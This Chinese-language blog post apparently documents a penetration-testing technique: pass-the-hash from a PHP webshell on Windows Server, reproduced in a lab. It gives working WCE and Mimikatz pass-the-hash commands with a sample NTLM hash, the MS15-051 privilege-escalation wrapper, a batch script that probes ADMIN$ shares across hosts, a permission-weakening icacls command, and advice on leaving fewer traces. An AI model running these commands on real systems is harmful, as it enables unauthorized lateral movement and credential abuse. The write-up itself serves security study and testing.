MENU

在WebShell下Pass-The-Hash

July 15, 2015 • Security

起因

以前一直以为PTH需要交互式环境,但是最近碰到了实在拿不到交互式环境的状况
于是测试了下在WebShell下进行PTH的可行性,发现是可行滴
记录一下测试过程,方便以后查阅

目标环境

Windows Server 2008 R2 X64 + IIS 7.5
工作环境:WORKGROUP
权限维持方式:PHP WebShell
当前权限: iispool

通过Windows nDay提到了SYSTEM,并且抓到了administrator的NTHash以及明文,还有一个管理员组的用户restoreadmin的NTHash且Hash无法破解

拿administrator的凭证去与附近的机器进行IPC$连接测试,都报凭证不正确,说明不是一个管理员

但是restoreadmin用户有点特别,很早以前就建立了,但从来没有登录过,猜测别的机器上也会有这个用户

如果猜测的不错,那么通过PTH就可以很快拿下所有的机器,但是跳板机器在内网,没办法直接连接3389,而我的VPS也过期了,没法端口反弹,逼我直接在WebShell进行PTH的节奏啊(其实就算能连3389也尽量不要连,少一些痕迹总是好的)

模拟环境

既然知道了目标环境,那么就先本地模拟一下攻击流程再说(很多童鞋喜欢直接在目标上测试,这是不好的习惯哦,要是不小心破坏了客户的业务就要倒贴了)

虚拟机:

Server1[192.168.30.201]: Windows Server 2008 R2 X64 + IIS 7.5 (PHP WebShell)
Server2[192.168.30.170]: Windows Server 2003
Hash: test:1003:AAD3B435B51404EEAAD3B435B51404EE:43E65BDC1FEF6265BA07EEE987AA9E17:::

test用户在Server1和Server2里面都有,是管理员组的用户,密码也一样

PTH工具介绍

WCE

Download Link && Help Link

wce -s username:domain:LMHash:NTHash -c command
wce -s test:workgroup:AAD3B435B51404EEAAD3B435B51404EE:43E65BDC1FEF6265BA07EEE987AA9E17 -c cmd

Mimikatz

Download Link && Help Link && Author Blog Link

mimikatz.exe privilege::debug "sekurlsa::pth /user:Username /domain:Domain /ntlm:NTHash /run:\"Run_Program\"" exit
mimikatz.exe privilege::debug "sekurlsa::pth /user:test /domain:workgroup /ntlm:43E65BDC1FEF6265BA07EEE987AA9E17 /run:\"cmd /c whoami\"" exit

msvctl

Download Link

PTH过程

PTH需要以高权限运行,所以需要先提升至高权限
有两种方法,一是直接本地提权,二是通过administrator的凭证RunAS
这里我选择本地提权 MS15-051

假设PTH成功了,那么就可以利用这个成功注入了test用户Hash的进程去访问Server2的默认共享,据此写了个简单的测试脚本:
findSmbShare.bat

@echo off
for /f %%i in (C:\windows\tasks\open_445.txt) do (cmd /c dir \\%%i\Admin$ >> C:\windows\tasks\result.txt)

以及通过扫描445端口找到的IP列表文件:
open_445.txt

192.168.30.201
192.168.30.170

将 findSmbShare.bat 和 open_445.txt 传到Server1的 C:windowstasks 目录下
将PTH工具和本地提权工具传到服务器上

PTH的详细传参如下:

C:\WebEnv\pentest.it\shell\wce.exe -s test:workgroup:AAD3B435B51404EEAAD3B435B51404EE:43E65BDC1FEF6265BA07EEE987AA9E17 -c "cmd /c C:\Windows\Tasks\findSmbShare.bat"

但是需要高权限执行,所以改成如下:

MS15-051.exe "C:\WebEnv\pentest.it\shell\wce.exe -s test:workgroup:AAD3B435B51404EEAAD3B435B51404EE:43E65BDC1FEF6265BA07EEE987AA9E17 -c \"cmd /c C:\Windows\Tasks\findSmbShare.bat\""

如果PTH成功了,那么会在Server1的C:windowstasksresult.txt内存放共享的读取结果,但是这是高权限用户生成的,所以普通用户无权读取
给EveryOne赋予完全控制权限:

MS15-051.exe "icacls c:\windows\tasks\result.txt /grant everyone:f"

看看共享访问结果:

可见是成功访问到了Server2的ADMIN$共享的,证明了非交互环境下PTH仍然可行

结语

没什么想说的,只是在证明一个简单的想法
其中有些地方我不明白,那个Hash是注入到哪里了,难道是在进程的Access Token?
但是查了下MSDN,里面没明说Token里面会存Hash,所以,还待深入研究,多看看Mimikatz的代码
PS:若是阁下知道,还请不吝赐教

Archives QR Code
QR Code for this page
Tipping QR Code